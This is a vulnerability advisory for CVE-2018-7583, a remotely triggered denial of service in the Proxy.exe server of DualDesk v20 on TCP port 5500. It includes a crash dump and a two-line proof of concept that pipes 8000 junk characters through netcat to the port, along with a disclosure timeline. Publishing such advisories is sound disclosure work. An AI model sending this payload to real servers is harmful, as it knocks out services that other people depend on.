DualDesk 20 - 'Proxy.exe' Denial of Service

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/DUALDESK-v20-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security          
 

Vendor:
===============
www.dualdesk.com



Product:
===========
DualDesk v20

DualDesk is powerful, easy to use remote support software that is a one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through firewalls in seconds with no
configuration. 



Vulnerability Type:
===================
Denial Of Service



CVE Reference:
==============
CVE-2018-7583


Security Issue:
================
Remote unauthenticated attackers can crash the "Proxy.exe" Server component of Dualdesk application 
which listens on TCP Port 5500 by sending a long string of junk chars.

(d24.d60): Security check failure or stack buffer overrun - code c0000409 (first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002 edi=00000000
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!NtWaitForMultipleObjects+0x15:
77c6016d 83c404          add     esp,4


Exploit/POC:
=============
Start the Dualdesk Run Proxy as Application.

C:\>python -c "print 'a'*8000" > crash.txt

C:\>type crash.txt | nc.exe localhost 5500

Crash!!!


Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=============================
Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure



[+] Disclaimer
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Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).